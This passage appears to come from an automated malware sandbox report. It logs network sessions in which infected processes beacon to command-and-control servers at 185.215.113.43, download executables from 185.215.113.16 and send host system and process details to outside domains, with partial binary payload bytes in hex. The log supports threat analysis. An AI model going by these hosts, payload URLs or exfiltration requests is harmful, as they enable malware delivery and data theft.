Dec 12, 2024 14:26:58.231300116 CET	896	IN	Data Raw: 8a 4d ec 81 c7 51 96 00 00 b8 f9 24 e5 4e 89 7d 0c 2b c3 c6 45 ff 3b 89 45 e8 b2 0c 0f b6 45 0c 6b c0 64 2a d0 d2 ea 69 45 f8 f6 86 f1 2f 8b 4d 1c 89 55 f4 89 4d 1c 89 45 f8 8b 4d 14 89 4d c8 8a 45 18 8b 75 f8 0f b7 55 0c 8b 4d e8 03 ca 89 55 a4 Data Ascii: MQ$N}+E;EEkd*iE/MUMEMMEuUMUMEEMdjEEdM(eUMfMMMEEMMM+M(eM;vYEE3E.auNcuu6`Euu
Dec 12, 2024 14:26:58.231328011 CET	1236	IN	Data Raw: f4 03 5d b8 2b 7d c4 81 45 d8 cf 38 00 00 89 45 bc 0f b6 c1 0f b6 0d f4 28 65 00 0f af c8 8b c3 0f af 45 08 c7 45 f8 7c ed 3f 69 89 7d 0c 80 c1 23 0f b7 f0 a1 c4 28 65 00 28 45 f0 05 c0 71 d4 be 01 45 e8 89 4d f4 8a 4d fc 8b 45 f4 66 d3 7d 14 8b Data Ascii: ]+}E8E(eEE\|?i}#(e(EqEMMEf}MEuuEUU;UUUE(e(eMuU3(eEE@P+Eml 0iMm5(eM(eEH-kEEE(eE
Dec 12, 2024 14:26:58.231340885 CET	224	IN	Data Raw: 66 d3 7d 14 0f b6 4d bc a3 e4 28 65 00 b8 af 69 00 00 2b 05 e8 28 65 00 0f b7 c0 89 45 dc 89 45 d0 8b 45 f8 d3 e8 05 d2 c8 7a 45 89 55 10 89 45 f8 8b 45 14 89 45 c8 e9 55 01 00 00 3b 4d cc 75 56 2b 7d d8 8b 45 c4 8b 0d cc 28 65 00 d3 6d c0 8d 97 Data Ascii: f}M(ei+(eEEEzEUEEEU;MuV+}E(emE+EEi+(eEEEE}bEEE=isGfEzUf(e4.(eEBhMEEuE
Dec 12, 2024 14:26:58.231354952 CET	1236	IN	Data Raw: 89 7d 0c e9 ac 00 00 00 66 01 05 dc 28 65 00 8b 4d c4 8b 45 a8 81 e9 d4 0e 00 00 29 05 e4 28 65 00 66 8b 45 fc 02 05 c4 28 65 00 66 89 45 fc 8b 45 c8 89 4d c4 89 4d d4 69 4d e8 4a 7b d1 50 81 6d 10 3e e0 1c 5a c7 45 cc 00 00 00 00 03 c1 89 4d e8 Data Ascii: }f(eME)(efE(efEEMMiMJ{Pm>ZEMfMEEEEEKffEiEF :}MEEiE$MEMuEUU;UEv}E2]3EEmc
Dec 12, 2024 14:26:58.231374979 CET	224	IN	Data Raw: e9 60 fc ff ff 8b 45 cc 3b d8 75 46 8b 45 c4 33 ff 8b 4d f8 03 c2 66 01 0d c8 28 65 00 89 45 d4 69 45 ec 28 57 a9 f5 89 7d 0c 89 45 ec a1 d8 28 65 00 05 47 6f 00 00 03 f0 8b 45 bc 0f b6 c0 03 c8 89 4d f8 8a 0d ca 28 65 00 d3 6d e4 e9 07 fc ff ff Data Ascii: `E;uFE3Mf(eEiE(W}E(eGoEM(em9E+(eMMEEfEm/m8'E(ei^}MiM s^(eUEf(eEMffMAn^
Dec 12, 2024 14:26:58.231571913 CET	1236	IN	Data Raw: 01 4d c0 66 03 d0 69 45 c4 fc 5a 00 00 8b 4d 1c f7 d9 66 89 15 ec 28 65 00 2b c8 0f b7 c1 89 45 d4 e9 59 fb ff ff 0f b7 45 d0 3b d0 0f 85 4d fb ff ff 8b 45 f8 03 45 b4 8b 75 ec 69 d2 12 32 c9 e6 89 45 f8 66 03 05 dc 28 65 00 66 01 45 d0 8b 45 f8 Data Ascii: MfiEZMf(e+EYE;MEEui2Ef(efEEEUUUUf5(euUUM;MMMu9EUfE(eME*EEE)(eMU8UUvJM(eMinf(eEE
Dec 12, 2024 14:26:58.351583004 CET	1236	IN	Data Raw: 01 05 cc 28 65 00 8b 45 e4 00 45 18 8b 45 f4 0f b6 c0 6b c0 6d 69 c9 99 5f b2 44 89 75 e0 89 45 f4 81 e9 57 fa a6 51 0f b6 c0 89 4d 1c 03 d8 eb 75 0f bf 4d e0 8b 45 ec 3b c1 75 39 8b 4d 08 01 0d c4 28 65 00 0f b7 4d d0 2b 4d 14 8b 55 10 03 c1 8a Data Ascii: (eEEEkmi_DuEWQMuME;u9M(eM+MUMMMMf(efm}ME:(eu+}Em(eEiuOf(e3}UMU}EiEE;fE9Es+E(e(e(e_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49901	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:27:07.004245043 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 34 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014404001&unit=246122658369
Dec 12, 2024 14:27:08.329740047 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:27:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49907	185.215.113.16	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:27:08.716531992 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 12, 2024 14:27:10.045644045 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:27:09 GMT Content-Type: application/octet-stream Content-Length: 965632 Last-Modified: Thu, 12 Dec 2024 13:17:59 GMT Connection: keep-alive ETag: "675ae287-ebc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7f e2 5a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 0c 05 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELZg"w@ K@@@d\|@hQu4@.text `.rdata@@.datalpH@.rsrchQ@R@@.relocuvF@B
Dec 12, 2024 14:27:10.045665979 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Dec 12, 2024 14:27:10.045677900 CET	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Dec 12, 2024 14:27:10.045702934 CET	1236	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Dec 12, 2024 14:27:10.045846939 CET	1236	IN	Data Raw: 00 5f 5e 5b c9 c2 08 00 49 eb 89 41 eb 86 8d 47 01 89 02 eb dc e8 5b 01 00 00 84 c0 74 0e 8b ca e8 50 01 00 00 84 c0 74 03 b0 01 c3 32 c0 c3 55 8b ec 51 51 56 8b f1 80 be 6d 01 00 00 00 8b 86 68 01 00 00 75 53 ff 70 04 e8 1e 09 00 00 8d 4d ff c7 Data Ascii: _^[IAG[tPt2UQQVmhuSpMEQMQPx$}dtmhuIEA^j@0I0uuUQQVW}EPEEPWNx8OEfx3
Dec 12, 2024 14:27:10.045859098 CET	1236	IN	Data Raw: 00 83 f8 12 0f 8d e0 04 04 00 83 e8 04 83 f8 0a 77 94 ff 24 85 85 27 40 00 6a 7f 58 66 3b d8 0f 84 c2 06 04 00 8b 19 33 c0 66 85 c0 74 1c 8b 45 90 40 89 45 90 8b 1c 81 0f b7 43 08 66 3b 85 50 ff ff ff 75 e4 e9 9d 06 04 00 83 3b 05 75 df 8b 04 91 Data Ascii: w$'@jXf;3ftE@ECf;Pu;u3f9X'ULUf9Y]79^99L99!:9#, rU]
Dec 12, 2024 14:27:10.045881987 CET	1236	IN	Data Raw: 85 79 02 04 00 38 5f 08 75 1c 8b 47 04 6a 08 50 8b 70 04 e8 c8 d5 01 00 59 59 89 77 04 88 5f 09 ff 0f 5f 5e 5b c3 b3 01 eb f3 55 8b ec 56 8b f1 80 7e 09 00 0f 85 5f 02 04 00 6a 08 e8 ad d5 01 00 59 8b 4d 08 8b 09 89 08 8b 4e 04 89 48 04 89 46 04 Data Ascii: y8_uGjPpYYw__^[UV~_jYMNHF^]UQSV3W8^?8^u7~G0EtO ,O$j8WIEYYF^_^[UWVj8)YuON0w^_]UVuWO
Dec 12, 2024 14:27:10.045907021 CET	1236	IN	Data Raw: a3 88 13 4d 00 ff d6 57 ff 35 8c 13 4d 00 ff d6 5f 5e c3 55 8b ec 83 ec 40 a1 58 13 4d 00 56 33 f6 a3 04 19 4d 00 6a 0f c7 45 c4 30 00 00 00 c7 45 c8 2b 00 00 00 89 75 d0 c7 45 d4 1e 00 00 00 89 45 d8 89 75 e0 ff 15 3c c7 49 00 89 45 e4 8b 45 10 Data Ascii: MW5M_^U@XMV3MjE0E+uEEu<IEEEEEEPuEIE}A0IhIfM IMEPEE;Ijjj!jjIh5M\M4IPj5\MI5`M^UVW
Dec 12, 2024 14:27:10.045919895 CET	1236	IN	Data Raw: cc 00 00 00 2d 8f 00 00 00 0f 84 d8 fc 03 00 48 83 e8 01 0f 84 ba fc 03 00 2d ff 01 00 00 0f 84 94 fc 03 00 2d ef 00 00 00 0f 84 8f 00 00 00 3b 3d 28 25 4d 00 0f 84 58 fc 03 00 ff 75 0c ff 75 08 57 56 ff 15 08 c7 49 00 5f 5e 5b 8b e5 5d c3 85 c0 Data Ascii: -H--;=(%MXuuWVI_^[]tt%jVIM73jhjV$IhI I=M(%MuIMuQQVMjIU<SVWj,EE0jP
Dec 12, 2024 14:27:10.045934916 CET	1236	IN	Data Raw: 4d 00 ff 53 56 57 33 db c7 05 94 19 4d 00 01 01 01 01 68 58 cb 49 00 89 1d 90 19 4d 00 66 89 1d 98 19 4d 00 c6 05 9a 19 4d 00 01 c7 05 9c 19 4d 00 09 00 00 00 89 1d a8 19 4d 00 e8 0a 66 00 00 68 3c cb 49 00 b9 bc 19 4d 00 e8 fb 65 00 00 b9 cc 19 Data Ascii: MSVW3MhXIMfMMMMfh<IMeMrMrMrM4MMMMMMMMj_MMMMMMMMM M$M0Mrud
Dec 12, 2024 14:27:10.166522026 CET	1236	IN	Data Raw: 53 52 51 ff 15 18 c0 49 00 85 c0 75 4f 8b 45 0c 57 8d 3c 00 8d 45 fc 89 7d fc 50 56 53 53 ff 75 08 ff 75 f8 ff 15 20 c0 49 00 85 c0 75 15 8b 45 fc d1 e8 89 45 fc 3b 45 0c 73 18 33 c9 66 89 0c 46 b3 01 ff 75 f8 ff 15 1c c0 49 00 8a c3 5f 5e 5b c9 Data Ascii: SRQIuOEW<E}PVSSuu IuEE;Es3fFuI_^[3fD72V\|M]8MW3=MZ=@M M@I95(Mv"$Mj4$MYY<F;5(Mr5$M=(MYMM<I5M

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49920	185.215.113.43	80	8108	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:27:16.737552881 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 34 34 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1014405001&unit=246122658369
Dec 12, 2024 14:27:18.070946932 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:27:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49928	185.215.113.16	80

Timestamp	Bytes transferred	Direction	Data
Dec 12, 2024 14:27:18.290246010 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 12, 2024 14:27:19.634103060 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 12 Dec 2024 13:27:19 GMT Content-Type: application/octet-stream Content-Length: 1782272 Last-Modified: Thu, 12 Dec 2024 13:19:17 GMT Connection: keep-alive ETag: "675ae2d5-1b3200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 20 8b b6 d4 64 ea d8 87 64 ea d8 87 64 ea d8 87 0b 9c 73 87 7c ea d8 87 0b 9c 46 87 69 ea d8 87 0b 9c 72 87 5e ea d8 87 6d 92 5b 87 67 ea d8 87 6d 92 4b 87 62 ea d8 87 e4 93 d9 86 67 ea d8 87 64 ea d9 87 09 ea d8 87 0b 9c 77 87 77 ea d8 87 0b 9c 45 87 65 ea d8 87 52 69 63 68 64 ea d8 87 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 19 64 54 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 28 01 00 00 00 00 00 00 50 68 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 80 68 00 00 04 00 00 5b fb 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$ ddds\|Fir^m[gmKbgdwwEeRichdPELdTg(Ph@h[@M$a$$ $h@.rsrc$x@.idata $z@ )$\|@ifubviufN~@lllrabkc@h@.taggant0Ph"@
Dec 12, 2024 14:27:19.634118080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:27:19.634130001 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:27:19.634280920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 12, 2024 14:27:19.634293079 CET	1236	IN	Data Raw: 85 10 b4 4a c7 48 d9 a5 88 37 18 2f 75 8f 75 89 43 ab 31 8f c7 87 6a bf 6f 8f b9 6b 63 0b a1 98 37 c9 a8 b1 47 21 91 89 82 45 7e 0d a8 f1 72 bb 9f ef 80 af 9b 5f 71 7b 73 8f 5d d6 2c 7e 69 e6 82 93 55 d7 5a 0d a1 af 86 97 6d 57 6b af 31 ae 49 ee Data Ascii: JH7/uuC1jokc7G!E~r_q{s],~iUZmWk1IWf#tZG7P@x^tJ15K]lcH>w{lk<}LUg1k\HW2K[`aM3VXSd+08@]?5KHQ*%{+NWO~jx
Dec 12, 2024 14:27:19.634305954 CET	1236	IN	Data Raw: 39 e7 72 f3 63 df 9c a6 84 8e ae 59 ef a2 fc 3d 98 a7 f5 f5 34 ef 45 be 0e ec 55 23 34 7f e2 dd d9 69 30 fc 4a 6c 12 7f aa 40 59 31 ff 44 31 8b 72 00 30 18 2c a4 d6 7e 4e 28 2b c9 96 91 83 40 0b 36 74 0f cb 5c 30 6c 93 5e 73 38 73 6f 31 4a b4 8c Data Ascii: 9rcY=4EU#4i0Jl@Y1D1r0,~N(+@6t\0l^s8so1J\;3h}M=Jn#WsQ-5O+{1#GJ'%7_u"{9<Ly{m#[Evs~_t4c37\|K6Z.=#+do}uGG
Dec 12, 2024 14:27:19.634318113 CET	1236	IN	Data Raw: 85 38 a9 4b 39 07 58 17 cb 79 2b b6 34 a6 f8 c8 39 2b 48 2f 84 56 21 b2 75 49 e1 b5 07 8f 55 27 7b e9 3b 2d 0c 37 09 bd ff 0b 57 af cf 4a ed 6d 51 f5 aa ad 4b a7 c5 9a 94 7b e6 b1 25 cb 40 a7 8d af 43 bb df 56 51 32 39 d1 80 8f 39 77 89 4b 6f 0e Data Ascii: 8K9Xy+49+H/V!uIU'{;-7WJmQK{%@CVQ299wKoqL`8_vVK9Hw~J93WSIt[<wGzMowY/NB+0Q@$1d{H>S}igw?yv%=Q3W:~{kE903/~{ue7F3cIP
Dec 12, 2024 14:27:19.634567022 CET	1000	IN	Data Raw: 4b a0 43 92 e5 b3 11 43 cc 2c 31 b3 e6 0c 0d 81 73 7d 49 6b cb f6 6d ca 4c 57 31 bd c3 4a 99 bf b1 60 d8 4b 33 76 79 ae e7 0b 77 bb 6c 69 a8 bb db 7d 58 03 4b 7f ae 36 8f fb 8f 9f 23 7d 77 d3 33 17 ac 9d 59 40 31 af 70 02 51 69 73 3b a8 a7 e7 49 Data Ascii: KCC,1s}IkmLW1J`K3vywli}XK6#}w3Y@1pQis;I9SvI/K09GI%U(V<w?SKwe{LH}qEC'4%v#wC/G!K?3TK}Mx@_{d;Yr7CgIaw?IAAgUBp7yM?KH4g}w3G)
Dec 12, 2024 14:27:19.634579897 CET	1236	IN	Data Raw: 3c 92 e2 ef 6a 07 40 89 cf 76 59 40 93 11 70 df ba 49 43 1f 33 a3 ab 3e 2d 93 b3 88 db a6 f1 be d3 0e c8 fa 9c 6e 95 62 e8 88 01 bf 3e f3 b3 de e0 93 ac ba 04 9e 46 bb ef 51 09 56 4c 2f 2d ae fa af 77 bd 53 76 ed be b5 11 48 4c 90 4b fc be 3c 0f Data Ascii: <j@vY@pIC3>-nb>FQVL/-wSvHLK<wF9_>LqTo]y9UfyQ9b%9#1VXo#&-mk_M~aVK-;;VH)97v+@nN^9IXokEG9?X1jgCvPrIwv'D5:H
Dec 12, 2024 14:27:19.634591103 CET	1236	IN	Data Raw: 00 a3 77 5b 87 4e a9 8b ce cc b4 6a 7b 17 70 a9 8d b5 45 a3 64 16 59 32 65 6b 6f 77 93 7d a5 27 b1 00 36 36 51 4a 9d bf 3c 0f 74 ff 4c 4a b7 a3 87 fb 56 27 33 f7 af 3d af 4f 43 23 c7 49 e1 a5 33 77 83 40 38 8f 54 bd 33 c3 b0 0e 87 47 55 09 be db Data Ascii: w[Nj{pEdY2ekow}'66QJ<tLJV'3=OC#I3w@8T3GUm{x80GPNDlM7vMJg_Cd(w2_;XsK6Eb}wS4;4'@}In9{@j~5s}X2?t>}HkO~J>I9U.}Igkw?.}IK
Dec 12, 2024 14:27:19.754930973 CET	1236	IN	Data Raw: 44 f5 f5 2e 33 4f 01 be e8 30 67 64 03 da ba 3c b3 f8 e3 09 48 20 76 9d 4a d8 8b a3 33 bf 91 71 e1 8d b3 d6 c3 26 fa 85 4a 12 8d 59 ba 7b c4 6a 49 7d 74 1f 55 09 36 48 49 36 87 9f a4 d7 82 e0 85 db e8 82 c5 66 49 5f 46 6a 73 03 c4 fc e4 40 33 3a Data Ascii: D.3O0gd<H vJ3q&JY{jI}tU6HI6fI_Fjs@3:;=sW4DG73c1S7KSEBXUr+EwN6]{%Y[z=;<v9{mq 8Xlk[.CnAM4Xmt)NM*Av-KY{Vb0>>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49781	104.21.79.7	443	4588	C:\Users\user\AppData\Local\Temp\1014060001\c7017f8470.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:26:19 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drive-connect.cyou
2024-12-12 13:26:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-12 13:26:20 UTC	1018	IN	HTTP/1.1 200 OK Date: Thu, 12 Dec 2024 13:26:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kbeclqqrf2lr077430kilu9vkn; expires=Mon, 07-Apr-2025 07:12:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=md%2FDs%2FqD6Rzk3vCWt1QOGwgxyO05JEKj8gL%2BUoHf872e4EsBKl3vB8hPq7wiuxVieR2aSpVOF8mdOQkQ6DDDo0fbYZTcWyu9HP5gJS79I7m7XORfqkCySeRMoOxqy439o0I%2BabY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f0e0ba4ed3d6a5e-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1550&min_rtt=1542&rtt_var=594&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=909&delivery_rate=1815920&cwnd=186&unsent_bytes=0&cid=bdd737f5c6103414&ts=1320&x=0"
2024-12-12 13:26:20 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-12 13:26:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49796	94.154.172.218	443	7464	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-12 13:26:23 UTC	483	OUT	POST /search/ HTTP/1.1 Host: peerhost59mj7i6macla65r.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 Edg/130.0.2849.80 Accept: / X-Reply: 1 X-Referer: 433A5C55736572735C6A6F6E65735C417070446174615C4C6F63616C5C54656D705C313031343038313030315C4D3569465232302E657865 X-Auth: 2F4A4F4E45532D50432F6A6F6E65732F32 X-Sec-Id: 0 Content-Length: 18084 Content-Type: application/x-www-form-urlencoded
2024-12-12 13:26:23 UTC	15901	OUT	Data Raw: 0d 0a 48 6f 73 74 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4a 4f 4e 45 53 2d 50 43 0d 0a 4f 53 20 4e 61 6d 65 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 0d 0a 4f 53 20 56 65 72 73 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 30 2e 30 2e 31 39 30 34 35 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 35 0d 0a 4f 53 20 4d 61 6e 75 66 61 63 74 75 72 65 72 3a 20 20 20 20 20 20 20 20 20 20 20 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 0d 0a 4f 53 20 43 6f 6e 66 69 67 75 72 61 74 69 6f 6e 3a 20 20 20 20 20 20 20 20 20 20 53 74 61 6e 64 61 6c 6f 6e 65 20 57 6f 72 6b 73 74 61 74 69 6f 6e 0d 0a 4f 53 20 42 75 69 6c Data Ascii: Host Name: user-PCOS Name: Microsoft Windows 10 ProOS Version: 10.0.19045 N/A Build 19045OS Manufacturer: Microsoft CorporationOS Configuration: Standalone WorkstationOS Buil
2024-12-12 13:26:23 UTC	2183	OUT	Data Raw: 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 36 39 36 38 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 36 30 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 36 39 39 36 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 35 36 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a 2e 65 78 20 20 20 20 20 37 30 32 30 20 43 6f 6e 73 6f 6c 65 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 31 20 20 20 20 20 20 36 27 35 36 30 20 4b 0d 0a 6b 4e 75 48 51 70 53 66 45 44 45 56 52 64 58 49 4b 77 76 50 6f 6a Data Ascii: NuHQpSfEDEVRdXIKwvPoj.ex 6968 Console 1 6'560 KkNuHQpSfEDEVRdXIKwvPoj.ex 6996 Console 1 6'556 KkNuHQpSfEDEVRdXIKwvPoj.ex 7020 Console 1 6'560 KkNuHQpSfEDEVRdXIKwvPoj
2024-12-12 13:26:24 UTC	191	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Thu, 12 Dec 2024 13:26:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/7.2.24
2024-12-12 13:26:24 UTC	12	IN	Data Raw: 32 0d 0a 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 20

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49805	94.154.172.218	443	5780	C:\Windows\SysWOW64\curl.exe

Timestamp	Bytes transferred	Direction	Data
